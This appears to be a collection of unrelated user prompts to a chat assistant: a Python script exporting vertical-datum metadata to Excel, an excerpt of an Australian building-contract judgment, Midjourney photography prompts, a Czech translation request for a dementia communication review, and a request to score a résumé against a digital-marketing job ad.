"Hydrograph"] = create\\_hyperlink(row2["Hydrograph"], "AHPS Data")\n\nall\\_metadata["VDatum - MLLW"] = url\\_list\\_mllw\nall\\_metadata["VDatum - MHHW"] = url\\_list\\_mhhw\n\nall\\_metadata["VDATUM Latitude"] = \'\'\nall\\_metadata["VDATUM Longitude"] = \'\'\nall\\_metadata["VDATUM Height"] = \'\'\nall\\_metadata["VDATUM to MLLW"] = \'\'\nall\\_metadata["VDATUM to MHHW"] = \'\'\nall\\_metadata["Comments"] = \'\'\n# create a Pandas Excel writer using XlsxWriter engine\n\n# write the DataFrame to the Excel file\nall\\_metadata.to\\_excel(writer, index=False, sheet\\_name=\'Master List\')\n\n# get the XlsxWriter worksheet objects\nMaster\\_Sheet = writer.sheets[\'Master List\']\n\nMaster\\_Sheet = format\\_excel(all\\_metadata, Master\\_Sheet, styles)\n\nerrors\\_only = all\\_metadata.loc[(all\\_metadata[\'NAVD88 to MHHW\'] == -999999) | (all\\_metadata[\'NAVD88 to MLLW\'] == -999999)]\n\ncols\\_2\\_drop = [\'TIME ZONE\',\n \'River Waterbody Name\', \'HUC2\', \'Location Name\', \'AHPS Name\',\n \'Node\', \'Correction\', \'Domain\', \'VDatum Regions\', \'Ref\\_Datum\', \'MHHW\', \'MHW\',\n \'MTL\', \'MSL\', \'DTL\', \'MLW\', \'MLLW\', \'NAVD88\', \'STND\', \'NGVD29\',"LMSL",\\\n \'NAVD88 to MLLW\', \'NAVD88 to MHHW\',\n \'nrldb vertical datum name\', \'nrldb vertical datum\',\n \'navd88 vertical datum\', \'ngvd29 vertical datum\', \'msl vertical datum\',\n \'other vertical datum\', \'elevation\', \'action stage\', \'flood stage\',\n \'moderate flood stage\', \'major flood stage\', \'flood stage unit\',\n \'Hydrograph\', "VDatum - MLLW", "VDatum - MHHW"]\n\n \n \nerrors\\_only = errors\\_only.drop(columns=cols\\_2\\_drop)\n# write the DataFrame to the Excel file\nerrors\\_only.to\\_excel(writer, index=False, sheet\\_name=\'QC VDatum\')\n\n# get the XlsxWriter worksheet objects\nErrors\\_Only\\_Sheet = writer.sheets[\'QC VDatum\']\n\nErrors\\_Only\\_Sheet = format\\_excel(errors\\_only, Errors\\_Only\\_Sheet, styles)\n\n# save the Excel file\nwriter.save()' -'This is part 3 of my multiple messages. I will continue to send you further messages. If you understand then please limit your response to "acknowledged".\n The Camden Council Issue\n\nI shall turn now to the Camden Council Issue.\n\nIt is common ground that each plaintiff drew cheques payable to Camden Council in the sum of $30,000 and paid that sum to the Council on account of s 94, contributions. They claim that they are entitled to a credit in the accounting between them and the defendant in respect of that sum, or alternatively in the sum of $20,000, which entitlement they submit arises pursuant to the terms of the Building Contract.\n\nIt is necessary therefore to analyse the Building Contract.\n\nThe Building Contract\n\nThe Building Contract in each case is a standard form fixed price New South Wales Residential Building Contract for New Dwellings. In its schedule 1 Particulars of Contract item 13 provides for a builder\'s margin of 20% (DX 6 p.8). Pursuant to schedule 5 of the contract certain other documents form part of contract between the parties. Relevantly these documents include the New Home Tender (DX 6 p.11).\n\nSchedule 7 of the General Conditions makes provision for detailed provisional sums to be included, but none were included in schedule 7 in either contract.\n\nSpecial Condition 14(c) of the Special Conditions defines “provisional allowance” to mean provisional sum as described in clause 20 (Exhibit DX6 p.16). In Clause 1 of the General Conditions “provisional sum item” is defined as:\n\n“an item of work (including labour and materials) which cannot be costed exactly at the time that the contract is entered into and for which the builder has made allowance in the contract price.” (DX 6 p.22)\n\nThe marginal note to this definition refers the reader to clause 20 of the General Conditions. Clause 20 which is headed “Prime Lost and Provisional Sum Items” is of importance to the proceedings. Clauses 20.5 and 20.6 are in the following terms:\n\n“20.5 Each provisional sum item must have an allowance stated next to it. The allowance is the estimated price of providing work and does not include an amount for the for the builder’s margin\n\n20.6 In relation to each prime cost item and provisional sum item, if the actual price is:\n\n(a) less than the allowance, the difference is deducted from the contracted price\n\n(b) more than the allowance, the total of the difference and the builders margin applied to that difference is added to the contract price. “ (my emphasis) (DX 6 p.30)\n\nIt is important to note the mandatory nature of the requirements in Clause 20.5. The clause requires that each individual provisional sum item must have a provisional allowance noted next to it. This is readily understandable as such precision, is essential in order for there to be a proper accounting for the provisional sum, as provided for in clause 20.6\n\nThe plaintiffs rely on the New Home Tender (DX 6 page 44 and following) to found its claim in respect of the Camden Council payments. Clause 34 of the New Home Tender is in the following terms:\n\n“34 Provide a Provisional Allowance for the following:\n\nAnything in relation to Strata Title or Sub-division preparation.\n\nAny Levies or Section 94 contributions & or Bonds required by Local Authority.\n\nAny contributions or additional fees required by Water Board, Electricity Authority, Telecommunication Authority or any other relevant Authority.\n\nRegistration of linen plan at land titles office\n\nDouble handling of materials and work (due to inaccessibility of delivery and work vehicles to site).\n\nUnderground boring\n\nAny covenants or bonds required to allow release of linen plan prior to completion of development.\n\nAny legal fees.\n\nDevelopment Application, Building Application and associated conditions and costs.\n\nWorkers Executed Survey if required for stormwater.\n\nNo Allowance for stormwater, sewer or electrical & Telstra connections outside boundary lines.\n\nNo Allowance to upgrade existing sewer function.\n\nNo Allowance for additional sewer junction if required.\n\nNo Allowance for sewer main extension\n\nSection 73 fees or approval\n\nEnergising of the electrical meters & power connection to the electricity network\n\nNote: This is only a Provisional Allowance requested by the owner.” (DX 6 p.47)\n\nAdjacent to the chapeau of clause 34 is following “$20,000 provisional”.\n\nIt can be seen therefore that clause 34 lists 16 items of which the s 94 contribution is but a part. Crucially there is no provisional sum value attributed to any of the 16 described items, as is required by clause 20.5 of the Building Contract. As I have earlier indicated, the requirement for specificity as to individual items of provisional allowance nature is mandatory under that clause. On the contrary, far from there being specificity as to the amount attributable to each of the 16 items referred to in paragraph 34, the provisional allowance mentioned in respect of them is grossed up figure of $20,000, which itself is described as provisional, and which is noted at the foot of clause 34 as being “only a provisional allowance as requested by the owner”.\n\nIn my view, it would not be unfair to say therefore that the grossed up figure of $20,000 is an estimate of the provisional sum, for a range of potential provisional sum items.\n\nThe plaintiff in each case says that as they have paid $30,000 to Camden Council on account of s 94 contributions, they are entitled either to that sum or the sum of $20,000 (being grossed up provisional allowance) credited to their benefit in the accounting between the parties.\n\nThis claim, in my view, is based on an incorrect analysis of the Building Contract.\n\nIn my opinion, the provisional sum allowance for the s 94 contributions never entered the contract between the parties. I take this view as there was never a monetary allowance attributed specifically to it, being an allowance which was the estimated price of providing the service as required by clause 20.5 of the contract.\n\nThe conclusion that the s 94 contributions never formed part of the Building Contract in my view is clear, as what I have referred to as a grossed up provisional allowance of $20,000 in clause 34 of the New Home Tender could never be dealt with under the procedures set forth in clause 20.6 of the contract. This is so as there is no specific provisional allowance sum to which the s 94 payment could be attributed, as was the mandatory requirement under clause 20.5.\n\nIn my view, the plaintiffs paid the s 94 contributions to Camden Council directly, and outside of the confines of the Building Contract. The builder played no part in this, and certainly did not apply a 20% builder\'s margin to it, which would have been his entitlement had the payment been made within the four corners of the Contract.\n\nAs such the plaintiffs are not entitled to a credit in the accounting between them and the defendant in respect of the Camden Council payment.\n\nThe $60,000 Cash Payment\n\nGiuseppe Carbone says that he paid to Mr Frank Grippaudo, the Chief Executive of the defendant, the sum of $60,000 in cash. Mr Grippaudo denies that such payment was ever made. The plaintiff Giuseppe Carbone alleges that the refusal of the defendant to acknowledge the receipt of the $60,000 in cash constitutes the tort of deceit. He also forms part of his unconscionable conduct claim.\n\nGiuseppe Carbone accepts that this allegation is an allegation of dishonesty (TP 246.14-25) and that as a consequence he is required to prove the allegation to the standard as discussed by the High Court in Briginshaw v Briginshaw (1938) 60 CLR 336 at 362, and as further explained by the court in Neat Holdings Pty Ltd v Karajan Holdings Pty Ltd (1992) 67 ALJR 170.\n\nThe strength of evidence required in cases of dishonesty have been variously described as “clear” or “cogent”.\n\nThe reasons for this approach is “as merely reflecting a conventional perception that members of our society do not ordinarily engage in fraudulent or criminal conduct” (Neat at [2]). As such a court should not lightly make a finding on the balance of probabilities, that parties to civil litigation have engaged in such conduct (Neat at [2]).\n\nIn his affidavit dated 3 November 2021, Giuseppe Carbone says that in July 2018 he had a conversation with Mr Grippaudo in which they discussed the defendant giving the plaintiff credit on the subject contract, for concreting works done by the plaintiffs on another job. This was agreed. He then alleges that in a completely unrelated way he then said to Grippaudo “would you like some liquid funds? I\'m thinking about $60,000” to which he alleges Grippaudo said “yeah that will help me out”. Then Carbone alleges that he said,\n\n“well let me know next week and I\'ll arrange the money for you so you can pick it up but I\'ll still need a receipt for it because I need to show the bank that I paid the deposit” [33].\nHe says that a few days later Mr Grippaudo came to his house and he gave him $60,000 in cash in a Woolworths shopping bag.\n\nMr Grippaudo denies this.\n\nMr Carbone goes on to claim that he obtained a receipt from the defendant. However, the document which Mr Carbone claims was a receipt for the $60,000 in cash, was not in fact a receipt for $60,000, but rather was a receipt for the sum of $59,963.95 referable to a payment that was required to be made by Mr Carbone to the defendant in respect of framework (PX1 p.651).\n\nIn his affidavit in reply, Mr Carbone revisits the issue of the cash payment and in so doing gives a somewhat different version of the initial conversation regarding the payment. He says that the conversation in fact occurred in April 2017 and was in the following terms:\n\n“FRANK: How did you keep your kids when you went through a divorce?\n\nME: It cost me a shitload of money. My lawyers and barrister cost me a lot but I forked it out. Hold onto the reigns because it\'s going to cost you a shitload of money if you go down that road.\n\nFrank and I continued to speak generally about divorce. We then had a conversation to the following effect.\n\nME: I want to pay portion of my job in cash.\n\nFRANK: Okay, how much are you talking?\n\nME: I can do 100k\n\nFRANK: It\'s too much but I\'ll take 60k\n\nTommy was initially present but he left before Frank changed the conversation to divorce and the cash contribution.”\n\n(See affidavit of Giuseppe Carbone dated 8 November 2022 [25])\n\nMr Grippaudo also denies this conversation.\n\nMr Grippaudo says that occasionally the defendant\'s clients do make payment in cash, however, he says that this occurs only on limited occasions, and when this occurs, it occurs in denominations much less than $60,000. He says that in respect of such payments he tells his clients that their cash payment will be banked, and recorded in the defendant\'s accounting system, so as to ensure that the defendant’s accounts reconcile for audit purposes. This he went on to say was essential to ensure the defendant\'s continuing access to Home Owner Warranty Insurance. He says that he would never do anything to imperil the defendant’s statutory insurance. He said that any failure to bank and record a receipt of the $60,000 cash would imperil the defendant’s statutory Home Owner Warranty Insurance.\n\nAs to the document acknowledging receipt of payment in sum of $59,963.95. Mr Grippaudo says that it was provided to Mr Carbone in good faith after Carbone assured him that he had paid this sum to the defendant’s bank account, on account of framework. At this stage the defendant’s bank records had yet to show the payment as a credit in their account. Mr Grippaudo said he issued the receipt because Mr Carbone said it was necessary for him to have the receipt as a matter of urgency. The urgency he explained arose from the fact that it was required to be provided to his bankers for the duplex development, in order for them to authorise a progress payment.\n\nMr Grippaudo says that the sum of $59,963.95 in fact was never received by the defendant. In short, he says he was duped by Mr Carbone into providing a receipt on the false representation that he in fact paid the money, which had yet to become recorded in the defendant\'s bank account statements.' -"8.\nGreat. Here are some more examples of Midjourney prompts. Prompt 1: conjoined twins attched at the side, dirty, tattered, cinematic light, ultra\nrealistic, high contrast, hdr, dark rich colors, photography, powerful, stare, weathered face, 30 - megapixel, 4k, 85 - mm - lens, sharp - focus,\nintricately - detailed, long exposure time, f/ 8, ISO 100, shutter - speed 1/ 125, diffuse - back - lighting, award - winning photograph, facing -\ncamera, High - sharpness, depth - of - field, ultra - detailed photography --ar 3:2 --q 2 --v 5. Prompt 3: Full Body beautiful blonde, wearing a\nbrown jacket, photography, Canon EOS 5D Mark IV DSLR camera, EF 50mm f/1.8 STM lens, Resolution 30.4 megapixels, ISO sensitivity:\n32,000, Shutter speed 8000 second --ar 9:16 --upbeta --v 5. Prompt 4: hasselblad 24mm full body shot photography of gorgeous satisfied looking\nafrican woman, detailed natural skin, no makeup, detailed eyes, long dreadlocks --ar 2:3 --q 5 --v 5 --v 4. Prompt 5: Beautiful dark red sunset\nover the sea shore at night, intricate, amazing, beautiful, realistic, ultra high resolution, wide angle, depth of field, π dynamic lighting --ar 1:2 --v 5\nThank you for providing more examples of Midjourney prompts. These examples further demonstrate the level of detail and specificity that can be\nused in text prompts to generate desired images. The prompts make use of various parameters like aspect ratio, quality, and version settings,\nalong with detailed descriptions of the desired subject, lighting, and camera settings. These examples will be useful for understanding the range\nof possibilities when generating images using Midjourney\n9.\nHere are some more prompt examples: Prompt 1: A stunning, ultra-realistic photograph of a fierce Viking warrior meticulously sharpening his\nformidable blade amidst the rugged, untamed wilderness of the Scandinavian landscape. The scene is captured with a Nikon D850 camera using\na 70-200mm f/2.8 lens, highlighting every intricate detail of the Viking's weathered face, war-worn armor, and expert craftsmanship of his weapon.\nThe settings used are an aperture of f/4, ISO 400, and a shutter speed of 1/200 sec, balancing the natural light and shadows to emphasize the\nintensity and determination in the Viking's eyes. The composition juxtaposes the raw power of the warrior against the serene beauty of the\nsurrounding environment, capturing the very essence of the Viking spirit in a breathtaking, high-resolution image that transports viewers back to a\ntime of legendary battles and untold stories. --ar 16:9 --q 1.5 --v 5.\nPrompt 2: A stunning and atmospheric 1970's New York street cafe captured in a nostalgic and cinematic style, reminiscent of the golden age of\nfilm photography. This vintage scene showcases the bustling urban life, with patrons enjoying their coffee at outdoor tables, surrounded by classic\nautomobiles and retro architecture. The photograph is skillfully composed, using a Leica M3 rangefinder camera paired with a Summicron 35mm\nf/2 lens, renowned for its sharpness and beautiful rendering of colors. The image is shot on Kodak Portra 400 film, imparting a warm and timeless\ncolor palette that enhances the overall ambiance. The photographer masterfully employs a shallow depth of field with an aperture of f/2.8,\nisolating the cafe and its patrons from the bustling city background. The ISO is set to 400, and the shutter speed is 1/125 sec, capturing the\nperfect balance of light and movement. The composition is further enhanced by the soft, diffused sunlight filtering through the iconic New York\nskyline, casting warm, golden tones over the scene and highlighting the rich textures of the brick buildings and cobblestone streets. --ar 3:2 --q 2.\nPrompt 3: A breathtaking and dynamic portrait of a majestic German Shepherd, captured in its prime as it races through a shallow, crystal-clear\nriver. The powerful canine is expertly photographed mid-stride, showcasing its muscular physique, determination, and grace. The scene is\nexpertly composed using a Nikon D850 DSLR camera, paired with a Nikkor 70-200mm f/2.8 VR II lens, known for its exceptional sharpness and\nability to render vivid colors. The camera settings are carefully chosen to freeze the action, with an aperture of f/4, ISO 800, and a shutter speed\nof 1/1000 sec. The background is a lush, verdant forest, softly blurred by the shallow depth of field, which places emphasis on the striking\nGerman Shepherd. The natural sunlight filters through the trees, casting dappled light onto the rippling water, highlighting the droplets of water\nkicked up by the dog's powerful stride. This stunning, high-resolution portrait captures the spirit and beauty of the German Shepherd,\nimmortalizing the moment in a captivating work of photographic art. --ar 4:5 --q 2 --v 5.\nPrompt 4:\nA breathtaking winter day at a Japanese ski resort, where the pristine, powdery snow blankets the majestic slopes under a clear blue sky. This\ncaptivating photograph captures the exhilarating atmosphere of skiers and snowboarders gracefully carving their way down the mountain,\nsurrounded by the serene beauty of snow-laden evergreens and traditional Japanese architecture. The image is skillfully taken using a Nikon\nD850 DSLR camera paired with a versatile Nikkor 24-70mm f/2.8 lens, known for its sharpness and exceptional color rendition. The photographer\nutilizes a wide-angle perspective at 24mm to showcase the vastness of the landscape, while maintaining the energy of the ski resort. An aperture\nof f/8 is selected to ensure a deep depth of field, crisply capturing the details of the entire scene. The ISO is set to 200, and the shutter speed is\n1/500 sec, adeptly freezing the motion of the skiers and snowboarders as they navigate the mountain terrain. The photograph benefits from the\nbright, natural sunlight reflecting off the snow, illuminating the entire scene with a crisp, cool light, and accentuating the contrasting shadows that\ndefine the contours of the landscape. --ar 16:9 --v 5.\nPrompt 5:\nAn ultra-realistic, highly detailed portrayal of a futuristic robot compassionately assisting an elderly woman as she crosses a busy city street. The\nadvanced humanoid robot, equipped with lifelike synthetic skin and state-of-the-art sensors, gently holds the woman's arm, providing her with\nmuch-needed support and stability. The intricate design of the robot showcases its sophisticated engineering, with sleek metal components and\ncutting-edge technology seamlessly integrated into its form. The emotion in the elderly woman's grateful expression is captured with stunning\nrealism, reflecting the harmonious relationship between humans and advanced robotics in this poignant scene. The photograph is taken with a\nCanon EOS R5 mirrorless camera using a RF 24-105mm f/4L IS USM lens, which delivers outstanding image quality and sharpness. The camera\nsettings are optimized to capture the scene's rich details and dynamic range: an aperture of f/5.6, ISO 200, and a shutter speed of 1/250 sec. The\ncomposition is further enhanced by the soft, natural lighting, which casts gentle shadows and highlights the vivid colors and textures of the\ncityscape. --ar 16:9 --q 2 --v 5.\nPrompt 6:\nAn incredibly lifelike and vivid portrayal of a fierce gladiator from ancient Rome, hunting for food to sustain his strength in the midst of a dense\nforest. This hyper-realistic image showcases the powerful warrior, clad in his iconic armor and leather sandals, wielding a finely crafted spear as\nhe stealthily stalks his prey. The photograph is captured using a Canon EOS R5 mirrorless camera, with a versatile and sharp RF 24-105mm f/4L\nIS USM lens, delivering exceptional image quality and detail. The camera settings include an aperture of f/5.6 to maintain a balanced depth of\nfield, capturing both the gladiator and the lush forest environment in stunning clarity. The ISO is set to 800, and the shutter speed is 1/500 sec,\nfreezing the action and preserving the intensity of the moment. The scene is illuminated by the soft, dappled sunlight filtering through the dense\ncanopy, casting a dramatic play of light and shadow that highlights the gladiator's chiseled features and fierce determination. The vibrant colors of\nthe surrounding foliage contrast with the earthy tones of the gladiator's attire, adding a sense of depth and realism to the composition. --ar 3:2 --q\n2 --v 5.\nThank you for providing even more examples of Midjourney prompts. These prompts showcase the versatility and level of detail that can be used\nwhen generating images using Midjourney. Each prompt specifies the desired subject matter, camera equipment, settings, lighting, and other\nelements that contribute to the final image. By providing such detailed descriptions and parameters, users can guide Midjourney to create images\nthat closely match their vision. These examples also highlight the variety of scenes and subjects that can be generated, from historical figures and\nfuturistic robots to natural landscapes and urban environments.\n10.\nGreat. Now I want you to ACT as a proffesional photographer. You will use a rich and describtive language when describing your photo prompts,\ninclude camera setups. The first prompt i want you to create is photo of a 1930`s female influencer. Take inspiration from the formating from the\nexample prompts, dont copy them, but use the same format." -'přelož následující text do češtiny:\n\nCommunication Difficulties as a Result of Dementia\n\nAbstract\nIntroduction:\nPopulation aging increases the number of people with dementia. Dementia is a set of symptoms that include memory difficulties, learning difficulties, speech and language difficulties, disorientation in time and space, difficulties in understanding and behavioral changes. Dementia is not part of natural aging and needs to be understood as such and have to be recognized at time to provide adequate support for people with dementia.\n\nAim:\nTo present the importance of communication: To present communication difficulties which are the result of dementia; To present adaptations in the way of communicating with people with dementia.\n\nMaterial and methods:\nThe article has a descriptive character, and represents a review of the literature dealing with this topic.\n\nResults:\nDifficulties in area of language are a common symptom in people with dementia. Those communication difficulties are a consequence of nerve cell failure, and person with dementia should not be blamed of the symptoms that arise. People with dementia show lower results in the area of understanding and verbal expression, repetition, reading and writing. Syntax and phonology remain relatively intact in early stages, but semantic abilities are impaired.\n\nConclusion:\nCommunication for people with dementia and with people with dementia for all persons involved in care (including family members, medical staff and therapists, and members of the community) can be very challenging. It is often necessary to adapt the way of communication to avoid stress and negative feelings in a person with dementia. As the disease causing dementia progresses, communication problems are increasing as well. Many times caregivers and therapists are in situations where their communicative behavior (verbal, but also nonverbal) needs to show support, compassion, care, and desire to help.\n\nKeywords: dementia, communication, communication difficulties\nGo to:\n1.\u2003INTRODUCTION\nThe increase of the average chronological age of the population is accompanied by specific psychopathology of that age, and consequently the interest of science for problems of elderly (1). Alzheimer’s Disease International reports that at present it is estimated that 35 million people worldwide have Alzheimer’s or related dementia, and an increase in expected life expectancy is expected to increase global prevalence to around 66 million by 2030 and to more than 115 million by 2050 (2). Dementia is one of the major problems in public health, affecting 5 to 10% of the elderly population (3). Dementia appears in the third age and is usually chronic, dysfunctional, and secondary to neurodegenerative processes for which there is currently no cure (4). Language difficulties are a common symptom in people with dementia and may be a symptom indicating dementia (5). Language is the ability to encode ideas into words for communicating with others (6). We have to distinguish language from speech. Speech is the motor performance of the spoken language (7). People with dementia, among other signs, show problems of finding words (anomia), lack of understanding of the sentence, and lack of cohesion in discourse (8).\n\nGo to:\n2.\u2003AIM\nThe goal for the article is to present the importance of communication, and to present communication difficulties which are the result of dementia. Also, the goal is to present adaptations in the way of communicating with people with dementia.\n\nGo to:\n3.\u2003MATERIAL AND METHODS\nThe article has a descriptive character, and represents a review of the literature dealing with this topic\n\nGo to:\n4.\u2003RESULTS\nThe current demographic trend dramatically changes the number of elderly people. This aging trend of the population is the cause of increasing diseases occurring in elderly people, such as dementia. Dementia represents a diverse category of syndromes that characterize a deficit in memory, cognitive function and behavior (9). Cognitive impairment of people with dementia may limit their ability to communicate effectively (10). Dementia is a term used to describe a group of brain disorders that have a profound impact on an individual’s life (11). Currently, the leading cause of dementia is Alzheimer’s disease, vascular disease and Levi’s disease (12).\n\nIt is estimated that the prevalence of dementia is about 6% to 10% of persons older than 65 years. Prevalence increases with age, rising from 1% to 2% among those aged 65 to 74 years to 30% or more in those older than 85 years (13). At age of 90 to 94, 40% of people have dementia, with a prevalence of dementia being 58% among individuals older than 94 (14). Vascular dementia is considered as the second major form of dementia (15), or the other most common form of dementia (16). Her frequency is different from dementia caused by Alzheimer’s disease, which is 10-20% of cases (15). Some researchers estimate that dementia due to Levi’s disease accounts for 15% to 20% of all cases of dementia (17). It seems that the symptoms associated with dementia distributed over the continuum, affect the health of older adults and deserve intervention (18).\n\n4.1. COMMUNICATION AND COMMUNICATION DIFFICULTIES\nLanguage performance is both influenced by normal aging and by development of dementia (19). Dementia is defined as memory impairment with the impairment of at least one other cognitive function such as language (aphasia) or executive function (for example: planning, attention and abstract understanding) (15). Cognitive and daily functioning decline are the primary symptoms of dementia (20). Difficulties related to communication are among the earliest symptoms of dementia (21). Loss of linguistic abilities is common symptom among people with dementia, who may precede other aspects of the cognitive decline (22). Language difficulties are a major problem for most patients with dementia, especially as the disease progresses and goes from moderate to severe stage (23). Early signs that communication of a person with dementia is affected are the difficulties of word finding, especially when naming people or objects. A person can replace the word with the wrong one or not find a substitute at all (24). As the disease progresses, it leads to forgetting names of family members, friends, confusion about family relationships, and often affected persons no longer recognize members of their family (24).\n\nResearchers around the world discuss theories about the presence of semantic and perceptual lacks in order to explain the appearance of language disorders in Alzheimer’s dementia (25). Dementia, such as the one resulting from Alzheimer’s disease, involves progressive degradation of language function (26). Language deficiencies are evident in all patients with Alzheimer’s disease: they achieve significantly lower results in the area of verbal expression, hearing comprehension, repetition, reading and writing. Syntax and phonology remain relatively intact, but semantic abilities are impaired (27). Patients with dementia, especially associated with Alzheimer’s disease, have difficulties with participation in communication as well as in the area of understanding, speaking fluency, comprehensiveness, word production, syntax and verbal feedback, while nonverbal communication is mostly preserved (understanding of gestures, facial expression, gesture use) (28).\n\nMultiple cognitive domains, including language and communicative function are affected by vascular dementia (29). Patients with vascular dementia usually have dysarthria with variable abnormalities of the language (30). The main characteristics of speech and language in people with Alzheimer’s dementia include: difficulties in finding words for objects, difficulties with naming, understanding difficulties, and a louder voice when speaking. In vascular type dementia, to previously mentioned are added incomprehensible speech and reduced complexity of the sentence (31). Characteristics of language degradation in Alzheimer’s dementia are compared with those of various aphasic syndromes (25).\n\nLanguage disorders can be perceived as a weak language system, which includes difficulties in finding words, recalling words or anomia (32). People with dementia use less words, less common words, less prepositional phrases, less depending clauses, and more incomplete fragmented sentences. The lexical deficits tend to be more difficult than the syntax deficits, which confirms the assumption that lexicon of people with dementia is more sensitive than syntax (33).\n\nThe American Speech-Language-Hearing Association (ASHA) prescribes the role of speech-language pathologists/therapists in identifying, assessing, intervening, counseling, cooperation, management, education, advocacy and research of people with dementia (34). It is important to understand that dementia affects the communication of the person with dementia, but it is also necessary to adapt the communication of other persons, persons from the environment that are involved in care. Care for people with dementia requires specific communication skills (35). Communication is key to provide good care for a person with dementia (10). Treatment strategies aimed at increasing attention and understanding and simplifying conversation will improve communication skills between people with dementia and care providers (Ross, Cummings and Benson, 1990). Health professionals and family caregivers usually get little training that enables them to meet the communication needs of people with dementia (35). Limited abilities to communicate effectively can affect the ability of caregivers to identify the needs of people with dementia (10).\n\nThe Alzheimer’s Association Sugden-Best suggests strategies to promote effective communication with a person with dementia (10): Always access the person with dementia from the front; Make sure you look at a person when you talk to him or her; Give the person some signs, as touching hand, or use the person’s name before you start the conversation; Ensure that the environment is calm and free of disturbance; Use simple language and speak slowly; Use short and simple sentences; Talk to a person with dementia as an adult and do not speak in the presence of a person as if he or she is not present; Give enough time to process information and to respond; Try to let the person with dementia to complete their thoughts and make choices with the words; Avoid guessing what the person with dementia is trying to say; Encourage an individual to write a word that he or she is trying to express and to at loud; It might be useful to use a pictogram that uses image views; A person with dementia can be useful to “fill in” answers to questions such as “I need” or “I want” just by showing the appropriate picture; Use proper facial expressions, sometimes it may seem exaggerated, for example to smile when talking about happy events, but do it; Do not correct the person with dementia if he or she is making mistakes; Do not stress the person with dementia to respond; Encourage an individual to use any way of communication he or she feels comfortable with, for example, gesture or writing; Use touch to help concentrate, to set up another way of communication and offer security and encouragement; Avoid confrontation and conflicts with people with dementia.\n\nTraining/instruction of communication skills related to the care of people with dementia significantly influences the communication of professional and family caregivers, their skills, abilities and knowledge, improves the quality of life and well-being of people with dementia and increases positive interaction in different care settings (35).\n\nGo to:\n5.\u2003CONCLUSION\nDementia is a rapidly growing unit, as the society is getting older we can expect an increasing number of people with dementia. If not affected, then as a potential caregivers or at least the neighbors of the person with dementia, we can provide dementia friendly society only with a certain knowledge. In order to promote cognitive functioning and independence among older adults, public health interventions should also facilitate early detection and treatment of dementia. Communicative (speech and language) difficulties, which are one of the groups of accompanying symptoms of dementia, should be recognized as a consequence of neural degradation in order to provide the necessary help in time. Communication is a very important segment of every person’s life, we use it to actively participate in society, pass on our wishes and needs, and share attitudes, knowledge and experience with other members of the community. Previous indicates the importance of ensuring the ability to communicate and adjust the communication system if needed. Speech and language pathologists/therapists should be actively involved in treating people with dementia through direct contact with affected persons for maintaining communication skills or finding compensation strategies as well as working with their caregivers to teach them how to communicate more adequately.\n\nGo to:\nAuthor’s contribution:\nAll authors in this paper have contributed in all phases in it’s preparing. First author made final proof reading.\n\nGo to:\nConflict of interest:\nnone declared.' -"Estimate from 0-100 how well job applicant fits job application description?\n\nJob application description:\nVEIL.AI is a HealthTech start-up that offers solutions for better utilization of health data, e.g., for pharmaceutical and MedTech companies and hospitals. We are a forerunner in advanced data anonymization in Europe. Our patented VEIL.AI Anonymization Engine produces extremely high-quality anonymized and synthetic data, offering our customers great new opportunities for utilizing health data. We have offices in Helsinki and Copenhagen. For more information, please visit www.veil.ai.\nOur team is growing, and for this we need bright minds with a can-do attitude.\nAre you a digital marketer and feel passion towards the growth and start-up scene? We are looking for a\nDIGITAL MARKETING SPECIALIST / MARKETING PLANNER\nto plan and implement our digital presence and marketing actions in order to support our company's growth.\nWe hope you are familiar with the possibilities of digital marketing and have a systematic and development-oriented approach. You want to find out and build up different digital solutions that enable success in reaching target groups and getting leads. You have the ability to plan and implement marketing and digital projects.\nYour role\n● Responsible for planning, implementation, and follow-up of digital marketing\n\n● Responsible for the management and development of digital channels and marketing solutions (e.g., website, LinkedIn, newsletter, etc.).\n\n● Support the development and execution of digital marketing competences (e.g., better utilization of ActiveCampaign, Google Analytics, SEO, etc.)\n\n● Support and execute lead generation, management, and nurturing\n\n● Support sales and content creation\nYour profile\n● You are interested and curious about digital marketing and solutions\n\n● You can be already more experienced in digital marketing or just at the beginning of your career\n\n● You are self-directed and have active work style with good teamwork skills\n\n● You will be using Finnish and English languages in your work\n\n● Education suitable for the position (e.g., commercial)\nWhat do we offer?\n● An independent and accountable position in meaningful work\n\n● A possibility to further develop your own professional skills\n\n● A job in a developing and growing multicultural start-up\n\n● A pleasant, professional, and experienced team\n\n● Flexible working hours and home-office possibility (hybrid work, office in Helsinki)\n\n● The possibility to join stock option scheme of the company\nFor more information about the position, contact Chief Commercial Officer Kari Lehtipuu e.g., on Thursday, December 29th, or January 5th between 14:00 and 18:00 at +358 40 664 6300.\nPlease send your resume with salary expectations no later than January 8th, 2023. We will be reviewing and possibly interviewing candidates before the application closing time. \n\nApplicant resume:\nI’m proud to be an online marketing specialist in the world of\ndigital marketing, SEO, eCommerce and technology and founder\nof LumoLink. The digital world is my passion, and I’m proud to\ncontinuously push the envelope in my quest to uncover and explore\nbest practice in digital marketing.\nFrom a young age, I was passionate about programming and went\nonto nurturing and expanding my skill set over the past twenty years\nto become one of the thought leaders and innovators in the digital\ntechnology in Europe.\nAs a teenager, the Internet opened my eyes to a world of amazing\nopportunity. A budding entrepreneur, I launched my first fully fledged\nwebsite as a side project during high school.\nWithout a budget for marketing, as a teenager I started to learn\nabout SEO and how to drive traffic without the need for a massive\nbudget. My knowledge of SEO and digital marketing allowed for\nmy first website to get the exposure I craved without the need for\nthousands of marketing dollars. Eventually, the website generated\nsignificant traffic and I wound up ended up with a dedicated team of\nstaff – all before I had even graduated from high school.\nThe world of optimisation changed the way I was able to run my\nbusiness. By sharpening my understanding of how optimisation\ncould help businesses online I was able to grow the business and\nended up with 500,000 active users.\nPage 1 of 6\nIn 2010, after learning the art of sales, customer service and\nprogramming, I kicked off my own company and became the\nfounder and director of LumoLink, a pioneering firm that seamlessly\ncombines online marketing with technology.\nExperience\nDaniliants Ventures\nFounder and CEO\nJune 2010 - Present (12 years 7 months)\nI'm the founder and CEO of Daniliants Ventures. We're an international growth\nmarketing team that helps companies grow. We focus on ecommerce, crypto\nand B2B companies.\nI've been involved in startups since 2007. I've started and bootstrapped a few\nbusinesses myself, so I understand the challenges that entrepreneurs face.\nI'm passionate about helping companies grow, and I believe that marketing is\none of the most important aspects of a company's success.\nThirdwave\nPartner\nJune 2022 - Present (7 months)\nI'm a partner at Thirdwave. My focus is UX, Web 2.0 data intelligence and\ndesign.\nLumoLink Digital Oy\nFounder and CEO\nJune 2010 - Present (12 years 7 months)\nHelsinki Area, Finland\nLumoLink provides online marketing solutions for businesses in Europe. I\nstarted the company alone and handled all aspects of running the company.\nNow I am fortunate to have a great team that supports me and we 